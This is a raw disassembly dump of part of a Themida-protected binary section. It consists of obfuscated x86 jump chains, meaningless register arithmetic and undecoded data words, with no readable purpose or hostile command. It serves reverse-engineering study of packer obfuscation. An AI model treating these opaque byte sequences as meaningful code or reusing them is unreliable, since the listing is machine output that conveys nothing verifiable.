6F88242Ch, 8159419Ch, 9C6F88C1h dd 48B5D41h, 7B8EE924h, 4870000h, 0E7EEE924h, 0BAFFFFh dd 29000000h, 31D131CAh, 0D884E9CAh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55558A: ; CODE XREF: Themida_:005654EEj add esi, edi pop edi jmp loc_564998 ; --------------------------------------------------------------------------- loc_555592: ; CODE XREF: Themida_:0055459Fj push ebx mov ebx, 49300BA5h jmp loc_55EFB9 ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 0E9000000h, 0D413h, 24148966h, 70D3E9h, 241C8900h, 780647BBh dd 0FEBAE97Fh, 74FF0000h, 8F5B0424h, 248B2404h, 9CC13824h dd 0FFA946E9h db 0FFh ; --------------------------------------------------------------------------- loc_5555D1: ; CODE XREF: Themida_:0055A9E1j add edi, 3B380553h add edi, esi push eax mov eax, 641E157Ch sub eax, 6ADC27EEh neg eax jmp loc_56139D ; --------------------------------------------------------------------------- db 89h dd 80BE2434h, 5020B96Bh, 2E3C95B8h, 0E9C6316Eh, 0FFFFFC31h dd 0E9242489h, 0C661h ; --------------------------------------------------------------------------- loc_555608: ; CODE XREF: Themida_:005630D9j push edx mov edx, 66ED567Eh shl edx, 7 add edx, 8954C104h add ecx, edx pop edx jmp loc_557E9A ; --------------------------------------------------------------------------- db 8Bh dd 0C4832414h, 69B05004h, 58C328h, 69C380C3h, 2D28E9h dd 4BD00h, 0E8010000h, 0E9242C8Bh, 176h, 74FF5059h, 8F580424h dd 68E92404h db 5Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_555653: ; CODE XREF: Themida_:005646F6j push ebx mov bh, 2Dh mov al, 73h add al, bh pop ebx sub bl, al jmp loc_5541D3 ; --------------------------------------------------------------------------- loc_555662: ; CODE XREF: Themida_:00561128j push edi sub esp, 4 push 5C3Dh mov [esp], esp add dword ptr [esp], 4 pop dword ptr [esp] push ecx mov ecx, 4 add [esp+4], ecx pop ecx pop edi add edi, 4 sub edi, 4 sub esp, 4 mov [esp], edi push dword ptr [esp+4] pop edi pop dword ptr [esp] jmp loc_55A973 ; --------------------------------------------------------------------------- dw 0C483h dd 63286804h, 7DE90000h db 37h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5556B3: ; CODE XREF: Themida_:00550E80j sub eax, esi mov esi, [esp] add esp, 4 add esi, eax pop eax add esi, 0CE4A75E2h mov ecx, esi mov esi, [esp] add esp, 4 jmp loc_562B28 ; --------------------------------------------------------------------------- db 89h dd 0E789243Ch, 0F8A5E9h, 4C68100h, 81000000h, 4C6h, 24348700h dd 4A2BE9h, 75C28100h, 8966DED6h, 24148BD6h, 0E904C483h dd 0F193h, 0F7D5F75Dh, 3E5C1D5h, 0E22CBB53h, 0DD29880Ah dd 5DEF295Bh, 270AE9h db 0 ; --------------------------------------------------------------------------- loc_555721: ; CODE XREF: Themida_:00563505j mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] jmp loc_55F09E ; --------------------------------------------------------------------------- loc_555733: ; CODE XREF: Themida_:0055AEE9j pop eax push ebp push edi jmp loc_552013 ; --------------------------------------------------------------------------- loc_55573B: ; CODE XREF: Themida_:0056055Cj mov ecx, 4 sub ebx, ecx jmp loc_5632FD ; --------------------------------------------------------------------------- loc_555747: ; CODE XREF: Themida_:00559377j mov eax, [esp] add esp, 4 sub eax, 15E475FBh jmp loc_551BF6 ; --------------------------------------------------------------------------- word_55575A dw 8B66h ; DATA XREF: Themida_:0054FEA8o dd 73682404h, 89000003h, 0AE9241Ch db 0B5h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55576B: ; CODE XREF: Themida_:00564EC0j sub esp, 4 mov [esp], eax mov eax, 7179695Eh xor ebp, eax pop eax add ebp, 1B2C4AF9h or ecx, ebp jmp loc_5607C5 ; --------------------------------------------------------------------------- aS_6 db '^é=,',0 dw 5C00h dd 68240489h, 16D356A2h, 263D0558h, 0E0C10CAEh, 62E95107h dd 81FFFFB8h, 0EC4532EBh, 0A1C38107h, 15A4B1Ah, 0D1C2E9C3h dd 0EC830000h, 406EE904h, 5E5F0000h, 4C181h, 0C870000h dd 0F7685C24h, 89000056h, 0BEE9240Ch db 59h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5557DB: ; CODE XREF: Themida_:0055AFDCj push 5F95h mov [esp], ebx mov ebx, 6F1474BBh jmp loc_553769 ; --------------------------------------------------------------------------- db 5Dh, 58h, 81h dd 0FFFFFFC1h, 0FAF181FFh, 3163D6ACh, 240C8BCBh, 8104C483h dd 104A7AEBh, 6EC38140h, 1F22DD0h, 2434FFDFh db 5Bh ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_563147 ; --------------------------------------------------------------------------- db 57h, 89h, 0CFh dd 895FFB89h, 0D1E5E9D8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55582A: ; CODE XREF: Themida_:00561144j pop dword ptr [esp] mov esp, [esp] test cl, al pushf jmp loc_54FF17 ; --------------------------------------------------------------------------- dword_555838 dd 9D1C77FFh, 1CD25966h, 0D0E99C24h, 5AFFFFA6h, 4EB81h ; DATA XREF: Themida_:0054FDCCo dd 1C870000h, 8F545C24h, 0E9562404h, 0FFFFCFB8h, 0FFA6B6E9h db 0FFh ; --------------------------------------------------------------------------- loc_555861: ; CODE XREF: Themida_:0055389Aj add esp, 4 jmp loc_558D71 ; --------------------------------------------------------------------------- loc_555869: ; CODE XREF: Themida_:0055B040j pop eax push edi push ecx mov ecx, 592F4306h dec ecx or ecx, 678458Fh neg ecx neg ecx xor ecx, 5F7F478Bh mov edi, ecx pop ecx add eax, edi jmp loc_5593B3 ; --------------------------------------------------------------------------- dd 7771BF57h, 0EFC10426h, 41EF8107h, 8150160Dh, 600AECC7h dd 5FFB897Ah, 815BD831h, 0C677DFC5h, 81C5012Ah, 0C677DFEDh dd 0F19BE92Ah, 8950FFFFh, 2D52E9E8h, 13680000h, 89000015h dd 0E954241Ch, 71FBh ; --------------------------------------------------------------------------- loc_5558D0: ; CODE XREF: Themida_:0055856Ej jmp loc_55E905 ; --------------------------------------------------------------------------- db 29h, 0D9h, 0FFh dd 835B2434h, 2EE904C4h, 810000A2h, 7E5C4CC1h, 0E41FE909h dd 0EE810000h, 108A70C2h, 0FFFB4AE9h, 2C483FFh, 3A7868h dd 24148900h, 1ADF68h, 7E55E900h, 0C870000h, 1C895C24h dd 51C3B724h, 7FE9FD88h, 540000F0h, 0D5E9575Dh, 0E90000A3h dd 0FFFFA5EBh, 158C631h, 53E7E9F3h, 0C6010000h, 6B9DBD55h dd 16E930BEh db 12h, 2 dup(0) ; --------------------------------------------------------------------------- loc_555943: ; CODE XREF: Themida_:00561FE9j push 3DF8h mov [esp], esi mov esi, 40h mov edi, esi mov esi, [esp] push 3850h mov [esp], ecx mov ecx, esp push edi mov edi, 4 add ecx, edi pop edi push edx mov edx, 4 add ecx, edx pop edx xchg ecx, [esp] jmp loc_565014 ; --------------------------------------------------------------------------- db 41h, 81h, 0C1h dd 1C2F5582h, 0A268C181h, 0C829D755h, 9F2D5D59h, 0FF7ADC5Ch dd 3C8B2434h, 4C48324h, 4C481h, 0E9570000h, 0FFFFB5A8h dd 295AD529h, 34FF5DE9h, 0C4815E24h, 4, 0FFF709E9h, 4C481FFh dd 80000000h, 0C580C4CDh, 86C5860Eh, 86D3F6D8h, 80C586D8h dd 0EB28DDF5h, 75B8E9h, 232E6800h, 24890000h, 24048124h dd 4, 6824048Fh, 0AEBh, 0F251E9h db 0 ; --------------------------------------------------------------------------- loc_5559F5: ; CODE XREF: Themida_:00558A84j push esi mov esi, 4 add ecx, esi pop esi sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ebx push 1000000h jmp loc_557E7A ; --------------------------------------------------------------------------- db 81h, 0C5h, 1Eh dd 96C6D1Dh, 0B8505DEAh, 6DC83A65h, 34FFC201h, 0C4835824h dd 0B8C28104h, 1154845h, 2434FFD3h, 0E811E9h, 1BEA8100h dd 8134376Ah, 0FF2828C2h, 0DC86E966h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555A4E: ; CODE XREF: Themida_:00559660j xchg eax, esi jmp loc_562506 ; --------------------------------------------------------------------------- dd 2CD3665Ch, 0B8E99C24h db 0A4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555A5F: ; CODE XREF: Themida_:00554FA3j xor [esp], edi xor edi, [esp] mov esp, [esp] push ecx jmp loc_554384 ; --------------------------------------------------------------------------- dw 5058h dd 1EE950B0h, 5B000072h, 4C481h, 54520000h, 0FFE400E9h db 0FFh byte_555A85 db 0ACh, 30h, 0D8h ; DATA XREF: Themida_:0054FE70o dd 5B368h, 4A9E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_555A92: ; CODE XREF: Themida_:00552ED4j mov [esp], ebx jmp loc_55056D ; --------------------------------------------------------------------------- dw 0E9C0h dd 0C1E18006h, 0B3A3E9h db 0 ; --------------------------------------------------------------------------- loc_555AA5: ; CODE XREF: Themida_:0055C348j mov [esp], ebp mov ebp, 8528A3BFh sub ecx, ebp pop ebp sub esp, 4 mov [esp], ebx mov ebx, ecx jmp loc_55FE8B ; --------------------------------------------------------------------------- aYsR db 'Yé¼à',0 dw 8B00h dd 4892424h, 2434FF24h, 9F28E9h db 0 ; --------------------------------------------------------------------------- loc_555AD1: ; CODE XREF: Themida_:0055FDDFj add esp, 4 add edx, 200C807Ah jmp loc_559CA5 ; --------------------------------------------------------------------------- dw 1489h dd 56F9E924h, 0C3890000h, 0FFC99FE9h db 0FFh byte_555AF1 db 0FFh, 34h, 24h ; DATA XREF: Themida_:0054FE40o dd 8B2434FFh, 0C481240Ch, 4, 21DBE9h, 89C68900h, 7DE95EF2h dd 0B9000055h, 421A40D7h, 4244481h, 478A6AA0h, 4244C01h dd 4246C81h, 478A6AA0h, 0E92434FFh, 7797h, 241C895Ch, 0EA80E3B7h dd 66FA00B2h, 0EF80E951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_555B42: ; CODE XREF: Themida_:0056447Aj sub dword ptr [esp], 49AD6C02h pop edx add edx, 49AD6C02h jmp loc_555FB0 ; --------------------------------------------------------------------------- db 51h, 0B9h, 0DCh dd 8111244Ah, 282A50E9h, 6014E99Ch, 0EDC10000h, 73CD8107h dd 0F7121E06h, 0ECC581DDh, 814A9557h, 0CE2B9AF5h, 7B77E97Ch dd 0B8500000h, 7C5271FCh, 8158C389h, 0DB042444h, 0E9466B71h dd 9D81h ; --------------------------------------------------------------------------- loc_555B98: ; CODE XREF: Themida_:0055E1B9j sub [edi+24h], ebx push dword ptr [esp] mov ebx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp sub esp, 4 mov [esp], ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_55E823 ; --------------------------------------------------------------------------- byte_555BCD db 0FFh, 77h, 1Ch ; DATA XREF: Themida_:0054FE44o dd 0D359669Dh, 0E99C241Ch, 0FFFFA33Bh, 2414335Eh, 33241431h dd 248B2414h, 24042824h, 0A325E99Ch, 0C481FFFFh, 4, 31241433h dd 14332414h, 24248B24h, 9C2424D3h, 0FFA30AE9h, 3BB850FFh dd 5323DC6Ah, 283B0968h, 0DEE95B55h, 0F70000BCh, 81D1F7D9h dd 0E887FDC1h, 59CA01DBh, 2B951h, 0CA010000h, 0E9240C8Bh dd 52CCh, 0C281E289h, 4, 0B500E9h db 0 byte_555C49 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:0054FCB8o aRtzscq db '$RTZéCï',0 dd 4C48300h, 3084C580h, 89BE9E8h, 0B0E90000h, 89FFFFA2h dd 0ABE95DEEh db 0BFh, 2 dup(0) ; --------------------------------------------------------------------------- loc_555C6F: ; CODE XREF: Themida_:00553B5Bj pop esp jmp loc_558473 ; --------------------------------------------------------------------------- loc_555C75: ; CODE XREF: Themida_:00552DBCj neg edi inc edi shl edi, 2 push ebx mov ebx, 31C91C64h jmp loc_5560BC ; --------------------------------------------------------------------------- dw 0C158h dd 546804E3h, 8900007Eh, 0E9562404h, 0AA48h, 0E56BBB53h dd 0DF8940B3h, 5FF8015Bh, 0FFAB96E9h, 0D7F75FFFh, 53BECF81h dd 0B95137E9h, 4D6E7DBEh, 41E9CF31h db 0C7h, 2 dup(0) ; --------------------------------------------------------------------------- loc_555CBF: ; CODE XREF: Themida_:00565024j pop ebp sub ebp, 0A7B3CB1h push dword ptr [esp] pop edi push eax jmp loc_564572 ; --------------------------------------------------------------------------- dd 1EEF815Fh, 890D0228h, 0C5295FF8h, 3EC58158h, 5E0B833Bh dd 31242C33h, 2C33242Ch, 24248B24h, 6022E9h db 0 ; --------------------------------------------------------------------------- loc_555CF5: ; CODE XREF: Themida_:0055AC51j pop ebx or ebx, 63E7317h sub ebx, 4D8E62AAh sub ebx, 0DB1B9A52h jmp loc_553936 ; --------------------------------------------------------------------------- db 58h, 2Dh, 5Ch dd 295C9133h, 5CB951F8h, 0E95C9133h, 8F6Bh, 8704C483h dd 0EDE92404h, 5F000008h, 4C781h, 0D3E90000h, 83FFFFBFh dd 148904ECh, 0D9CEE924h, 0DD290000h, 5968E95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_555D4A: ; CODE XREF: Themida_:0055FC33j push edi jmp loc_55F832 ; --------------------------------------------------------------------------- dword_555D50 dd 240C8B66h, 0FFD79FE9h, 535B66FFh, 9DA3E9h ; DATA XREF: Themida_:0054FD48o db 0 ; --------------------------------------------------------------------------- loc_555D61: ; CODE XREF: Themida_:00554677j mov edx, [esp] push ebp jmp loc_55AFE6 ; --------------------------------------------------------------------------- dw 0C068h dd 5D77AA68h, 0B850DDF7h, 38427FDDh, 3507E8C1h, 1B181D79h dd 0FFE7A0E9h, 5B6E68FFh, 3C890000h, 81E78924h, 4C7h, 4C78100h dd 87000000h, 248B243Ch, 2C08324h, 8B240487h, 4CE92424h dd 3100003Bh, 0ABE9241Ch, 56000023h, 4BEh, 2BF5E900h, 0C3810000h dd 726C7443h, 5177C381h, 0BE5661E8h, 290B7B69h, 0FFEF18E9h dd 5AF028FFh, 5166F000h, 8F73E9h, 4C48100h, 81000000h dd 4C4h, 0B448E900h, 0C781FFFFh, 0D40E8324h, 34FFF831h dd 78685F24h, 0E9000044h, 3DF3h ; --------------------------------------------------------------------------- loc_555E0C: ; CODE XREF: Themida_:0055D0FBj add eax, ecx pop ecx push ebp mov ebp, 6ED133C7h push edx mov edx, 3AFF36DEh sub edx, 0BB57C54Ch xor ebp, edx pop edx jmp loc_55C7B4 ; --------------------------------------------------------------------------- loc_555E29: ; CODE XREF: Themida_:0055F613j pop ebp sub esi, 0FFFFFFFFh or esi, 3A970902h push esi neg dword ptr [esp] jmp loc_5563BB ; --------------------------------------------------------------------------- byte_555E3F db 0FFh ; DATA XREF: Themida_:0054FE88o dd 669D1C77h, 14D36659h, 0C8E99C24h db 0A0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555E4F: ; CODE XREF: Themida_:0055F665j shl esi, 5 push eax mov eax, 2AF30F65h add eax, 3DF1696h xor esi, eax pop eax dec esi add esi, 7CA5A58Ah push 2F1Ah mov [esp], esi pop edx mov esi, [esp] push 771Eh jmp loc_558ACB ; --------------------------------------------------------------------------- aZ4SB db '‡4$\é"b',0 align 2 dw 0D031h dd 0E924148Bh, 4C03h, 2474FF57h, 2434FF04h, 4C4815Fh, 8F000000h dd 895C2404h, 428F240Ch, 240C8B30h, 6104C483h, 6E7EE9h dd 38576800h, 34890000h, 2BE95124h db 64h, 2 dup(0) ; --------------------------------------------------------------------------- loc_555EC3: ; CODE XREF: Themida_:0055BB85j pop esp jmp loc_55C97E ; --------------------------------------------------------------------------- aXs3 db 'XéÂ3',0 db 0 ; --------------------------------------------------------------------------- loc_555ECF: ; CODE XREF: Themida_:0055C237j add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], esi jmp loc_55A50F ; --------------------------------------------------------------------------- db 0C0h dd 506606EAh, 0E20079B4h, 0EBE95866h db 96h, 2 dup(0) ; --------------------------------------------------------------------------- loc_555EF7: ; CODE XREF: Themida_:005634E7j pop ecx jmp loc_558D26 ; --------------------------------------------------------------------------- db 58h, 33h, 1Ch dd 241C3124h, 0E9241C33h, 3044h, 0BF243C89h, 4, 685FF901h dd 0E68h, 68240489h, 7A8Fh, 0BB241C89h, 82004DAh, 2004DEB8h dd 8BD83108h, 97E9241Ch, 8900007Eh, 0E952240Ch, 0FFFFECEDh dd 0FA1707BBh, 7557E915h, 0C8000000h, 0EB9E9h db 0 ; --------------------------------------------------------------------------- loc_555F55: ; CODE XREF: Themida_:00554618j push ecx push 4E16h push esp pop dword ptr [esp] jmp loc_55E12A ; --------------------------------------------------------------------------- loc_555F64: ; CODE XREF: Themida_:0055C7C6j xchg edx, [esp] pop esp mov [esp], edx mov edx, 0 sub edx, ebp push edx pop ebp mov edx, [esp] sub esp, 4 jmp loc_55BED7 ; --------------------------------------------------------------------------- db 89h dd 0CA895FF9h, 8BE95159h, 89000088h, 8B682434h, 8900003Eh dd 19BF243Ch, 31424C12h, 0FF04247Ch, 3C8B2434h, 4C48124h dd 0E9000000h, 554Ch ; --------------------------------------------------------------------------- loc_555FB0: ; CODE XREF: Themida_:00555B50j pop esi sub edx, 0D729FB46h jmp loc_56266D ; --------------------------------------------------------------------------- dd 8BF7295Ah, 0C4812434h, 4, 5053E9h, 24148B00h, 0E9E68956h dd 7F73h, 84231235h, 17BE5651h, 8115CB0Bh, 5D1607C6h, 5EF00955h dd 0BA52D0F7h, 40482716h, 0D987E9h, 0E94B5D00h, 791Ch dd 0B4683E2Dh, 0A9B95151h, 0E9374C67h, 0A757h, 5C243487h dd 0FF243489h, 8B042474h db 34h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_565006 ; --------------------------------------------------------------------------- loc_556035: ; CODE XREF: Themida_:0055FDECj push ecx push 62A16F87h pop ecx add ecx, 4D445F5Dh not ecx jmp loc_55E36B ; --------------------------------------------------------------------------- aI4SV db '‰4$é~V',0 dd 81E38900h, 4C3h, 1676E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55605E: ; CODE XREF: Themida_:00556C60j sub eax, edi jmp loc_550D36 ; --------------------------------------------------------------------------- db 8Bh, 14h, 24h dd 0FF04C483h, 21E92434h db 0A9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556073: ; CODE XREF: Themida_:005605BCj sub bx, si add bx, 32Ch push di mov di, 4087h add bx, di pop di mov si, [esp] push edi push esp pop edi sub esp, 4 mov [esp], esi jmp loc_551B6B ; --------------------------------------------------------------------------- aVPwusT db 'V¾;pwué;’',0 align 2 loc_5560A6: ; CODE XREF: Themida_:00550A2Aj mov ecx, [esp] add esp, 4 xchg ebx, [esp] mov esp, [esp] and eax, ecx jmp loc_55B2BB ; --------------------------------------------------------------------------- loc_5560BC: ; CODE XREF: Themida_:00555C81j add ebx, 422E23CFh push edx jmp loc_558061 ; --------------------------------------------------------------------------- dd 5B5985BBh, 23E38135h, 0F7542E3Eh, 6F381D3h, 0D1410C74h dd 0BDEB81EBh, 0E9F8AFC7h, 2E9Eh, 0DAF7D187h, 0E981D187h dd 26F87860h, 71A1F181h, 0F1815F18h, 23674E4h, 780EC181h dd 0CB29EE8Fh, 81C32959h, 4057D2C3h, 6EB8174h, 817C2E41h dd 4ECh, 242C8900h, 491068h, 24048900h, 6F5516B8h, 35E8D11Dh dd 3BDD3E73h, 4401E9h, 388EBD00h, 0F581239Dh, 6AA8261Eh dd 0BEAFE9h, 4C48300h, 8B241487h, 0F662424h, 9C2404B3h dd 0FF9DBAE9h, 26C681FFh, 3108C808h, 0B9E95EF3h, 52000074h dd 322C73B2h, 3204D028h, 0BB4EE95Ah, 0C15FFFFFh, 0EFD102EFh dd 8104EFC1h, 3BCE65EFh, 5FFB0981h, 2024E381h, 55E94E54h dd 81FFFFA5h, 5B9BB8F7h, 0FFFB0108h, 835F2434h, 0D90104C4h dd 4E9835Bh, 0FFB055E9h db 0FFh ; --------------------------------------------------------------------------- loc_5561B1: ; CODE XREF: Themida_:0055DCFBj push small 5215h mov [esp], dx push ax pushf jmp loc_54FF17 ; --------------------------------------------------------------------------- db 5Ch, 89h, 34h dd 4EC8124h, 89000000h, 0D0B9240Ch, 0E97C6D7Ah, 56FEh dd 8924248Bh, 34E92404h, 0E9FFFF9Dh, 0FFFF9D2Fh, 0CC045CB5h dd 43B1E9h db 0 ; --------------------------------------------------------------------------- loc_5561F1: ; CODE XREF: Themida_:005514D1j mov [esp], eax push edi push ebp jmp loc_55B00B ; --------------------------------------------------------------------------- db 29h dd 8DE95EF3h db 0B6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556203: ; CODE XREF: Themida_:00551F7Aj add edi, 661F4A1Dh add edi, 49BD7C64h push dword ptr [esp] mov ecx, [esp] add esp, 4 push edi push esp pop edi add edi, 4 push ebp jmp loc_5626F5 ; --------------------------------------------------------------------------- dw 0E089h dd 405h, 1FD36800h, 0C890000h, 4EC8324h, 0BD242C89h, 4 dd 15DE989h, 240C8BC8h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_5640A5 ; --------------------------------------------------------------------------- dword_556254 dd 9C241CF6h, 0FF9CBAE9h, 24048FFFh, 0E924248Bh, 0FFFFBD64h ; DATA XREF: Themida_:0054FC64o ; --------------------------------------------------------------------------- loc_556268: ; CODE XREF: Themida_:0055F171j push edx mov edx, esp add edx, 4 push ebp mov ebp, 4 sub edx, ebp pop ebp jmp loc_561CB3 ; --------------------------------------------------------------------------- loc_55627F: ; CODE XREF: Themida_:005591FDj xor ebx, 28FE7541h shr ebx, 3 sub ebx, 0F42E91Dh add ebp, ebx jmp loc_55770A ; --------------------------------------------------------------------------- loc_556295: ; CODE XREF: Themida_:005634FFj push edi mov edi, 4 add ecx, edi jmp loc_55D955 ; --------------------------------------------------------------------------- loc_5562A2: ; CODE XREF: Themida_:00563325j xchg esi, [esp] mov esp, [esp] push 7B1Eh mov [esp], esi mov esi, esp push edx jmp loc_564BDC ; --------------------------------------------------------------------------- loc_5562B8: ; CODE XREF: Themida_:00560930j xor esi, 45017EA9h add esi, 48DFC96h push ebx mov ebx, esi jmp loc_55DF43 ; --------------------------------------------------------------------------- dd 6A52E381h, 0EB8159C5h, 4C0D7F98h, 0FFF046E9h, 0C895CFFh dd 2B37B924h, 0C18120CDh, 139E7C21h, 0A754E981h, 0E950346Bh dd 1A39h, 9C240420h, 8B70E9h, 4E95500h, 5900000Fh, 14FBE781h dd 564733F3h, 1BEh, 8BF72900h, 15E92434h, 81000065h, 2C2h dd 24143300h, 8710E9h, 0BD555E00h, 26947089h, 5378ED81h dd 0E809C97Fh, 1F95355Dh, 1BE95D95h, 89FFFFDDh, 4C181E1h dd 81000000h, 4C1h, 240C8700h, 24048F5Ch, 0F9D5E955h, 0EC83FFFFh dd 0D1A0E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55636A: ; CODE XREF: Themida_:0055900Cj mov ebx, [esp] sub esp, 4 mov [esp], eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_550B81 ; --------------------------------------------------------------------------- db 5Ch dd 6804C483h, 34AAh, 0B6241489h, 0E9F300A8h, 7121h, 0FF2434FFh dd 83582434h, 0C48104C4h, 4, 7D07BD55h, 0BAE92EE0h db 7Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_5563BB: ; CODE XREF: Themida_:00555E3Aj pop esi neg esi add esi, 0C16CF665h and eax, esi push dword ptr [esp] push dword ptr [esp] jmp loc_562E89 ; --------------------------------------------------------------------------- loc_5563D1: ; CODE XREF: Themida_:0055AE3Dj pop edi dec edi jmp loc_552733 ; --------------------------------------------------------------------------- dd 0AB39D2BBh, 0E9DD0145h, 0F81h, 499BC181h, 0D9F77513h dd 6AA3C181h, 0E9814EB4h, 0DB50697h, 2DD7C181h, 0C801D94Bh dd 0E9E95259h db 0A4h, 2 dup(0) ; --------------------------------------------------------------------------- loc_556407: ; CODE XREF: Themida_:00560195j inc ebp sub ebp, 764B5E24h or ebp, 45831B9Dh or ebp, 0CC47858h xor ebp, 3F8DDC4Ah sub esi, ebp pop ebp pop ebx jmp loc_554201 ; --------------------------------------------------------------------------- loc_556429: ; CODE XREF: Themida_:0055E215j sub esp, 4 mov [esp], edi mov edi, 5C036125h or edi, 4FFE2E3Fh xor edi, 77017Dh jmp loc_55FEDB ; --------------------------------------------------------------------------- db 58h, 55h, 0BDh dd 4, 8CE9E801h, 5C000044h, 51243C89h, 0C17F8EB9h, 6EA1BF67h dd 0CF3166E9h, 0A4EDE959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55646A: ; CODE XREF: Themida_:0055BEDAj mov ecx, esp jmp loc_5532FC ; --------------------------------------------------------------------------- db 81h, 6Ch, 24h dd 6F1ECE04h, 0E2F0E958h, 0E95A0000h, 5FD6h ; --------------------------------------------------------------------------- loc_556484: ; CODE XREF: Themida_:005632EAj push eax mov eax, 4 mov ecx, eax mov eax, [esp] add esp, 4 mov edx, ecx push dword ptr [esp] push dword ptr [esp] pop ecx add esp, 4 add esp, 4 add edi, edx pop edx jmp loc_5654D2 ; --------------------------------------------------------------------------- dd 0C90519BBh, 5BDE8945h, 8106E6C1h, 5B2F4DF6h, 3EE8107h dd 50173836h, 0FFFFFFB8h, 58C629FFh, 0B575E9h db 0 ; --------------------------------------------------------------------------- loc_5564D1: ; CODE XREF: Themida_:0055FB61j push edx mov dl, 0D0h mov ah, dl pop edx jmp loc_55D0E7 ; --------------------------------------------------------------------------- dword_5564DC dd 24048B66h, 8E95453h, 5600003Ch, 230EE9h, 2434FF00h ; DATA XREF: Themida_:0054FDF0o dd 4C48159h, 56000000h, 0D17EE9h, 2434FF00h, 67CAE959h dd 0C8B80000h, 2978BB5Fh, 86D5E9C3h, 0C8B0000h, 4C48324h dd 2A6568h, 24348900h, 0F9BA5250h, 0C177B82Ah, 61E907E2h dd 8300004Eh, 0CF8104C4h, 66566DDBh, 0FDFFBE56h, 0F731FFF6h dd 0FFF244E9h db 0FFh ; --------------------------------------------------------------------------- loc_556545: ; CODE XREF: Themida_:00550571j inc bh jmp loc_55BE03 ; --------------------------------------------------------------------------- dd 0E906E3C0h, 209Eh, 4B951h, 0C8010000h, 0FFF0E3E9h, 4C481FFh dd 50000000h, 2B8h, 58C20100h, 2474FF52h, 2434FF04h, 0E92434FFh dd 0FFFFE5DFh ; --------------------------------------------------------------------------- loc_556580: ; CODE XREF: Themida_:00563E96j push dword ptr [esp] pop edx add esp, 4 jmp loc_564559 ; --------------------------------------------------------------------------- loc_55658F: ; CODE XREF: Themida_:0055731Ej add esi, eax jmp loc_55AEEE ; --------------------------------------------------------------------------- loc_556596: ; CODE XREF: Themida_:0055F494j pop ecx push edx push esi mov esi, 1C523C15h jmp loc_564479 ; --------------------------------------------------------------------------- byte_5565A3 db 0FFh ; DATA XREF: Themida_:0054FD0Co dd 0E9582434h, 0FFFFD71Bh ; --------------------------------------------------------------------------- loc_5565AC: ; CODE XREF: Themida_:005617A5j push ecx mov ch, dh mov ah, ch jmp loc_55FD70 ; --------------------------------------------------------------------------- dw 1968h dd 5A729262h, 0E2C1D2F7h, 85C28106h, 0E904EC05h, 2F75h dd 0A691E95Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5565D2: ; CODE XREF: Themida_:0055AC26j inc ebp jmp loc_564FA4 ; --------------------------------------------------------------------------- loc_5565D8: ; CODE XREF: Themida_:0055AF9Bj push ebx jmp loc_5576B4 ; --------------------------------------------------------------------------- dw 0CDFEh dd 8028F580h, 0EC003CEDh, 0DFE95966h db 0Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5565EF: ; CODE XREF: Themida_:0055C4BAj add ecx, 0BE68A523h and ebx, ecx pop ecx push esi mov esi, 62E046E1h push esi jmp loc_55B282 ; --------------------------------------------------------------------------- aXhwh db 'XhWH',0 align 2 dw 0A2E9h dd 66FFFFEFh, 0E924148Bh, 80B6h, 6824248Bh, 6F91h, 68243C89h dd 610362CCh, 0FFC7815Fh, 0E9FFFFFFh, 0FFFFF7C2h, 0E9241489h dd 0AC99h, 56242489h, 468h, 74015E00h, 0FF5E0424h, 348B2434h dd 4C48124h, 52000000h, 0C281E289h, 4, 1704E9h db 0 byte_556665 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:0054FDA4o dd 4A86824h, 1C890000h, 4EC8124h, 89000000h, 4832424h dd 565B0424h, 0E16EE952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556686: ; CODE XREF: Themida_:005642DBj push 3883h jmp loc_561FE5 ; --------------------------------------------------------------------------- dd 3034C581h, 0E95872E2h, 0FFFFD6BFh, 98240481h, 5F748448h dd 0B964E952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5566AA: ; CODE XREF: Themida_:0055A37Ej push ebx jmp loc_558942 ; --------------------------------------------------------------------------- loc_5566B0: ; CODE XREF: Themida_:0055D73Dj push ecx mov ecx, 1D955E16h push edx mov edx, 0D23AC0h jmp loc_559A8C ; --------------------------------------------------------------------------- db 89h, 0E0h, 53h dd 4BBh, 79BD0500h, 0C5E90F9Ch, 56000077h, 0C34CB068h dd 21E95E65h, 0B900007Ch, 54D22A98h, 159CF89h, 57505FFEh dd 1E2C8ABFh, 9FCF8166h, 8122BA57h, 436627CFh, 7E7C116h dd 0C107EFC1h, 0F78106EFh, 7C83DEB5h, 0E95FF889h, 0D5EEh dd 5F2434FFh, 0E6C0E9h, 24043000h, 30240432h, 40E92404h dd 83FFFFEBh, 48704E8h, 0AB8E924h, 7C2D0000h, 0C1790528h 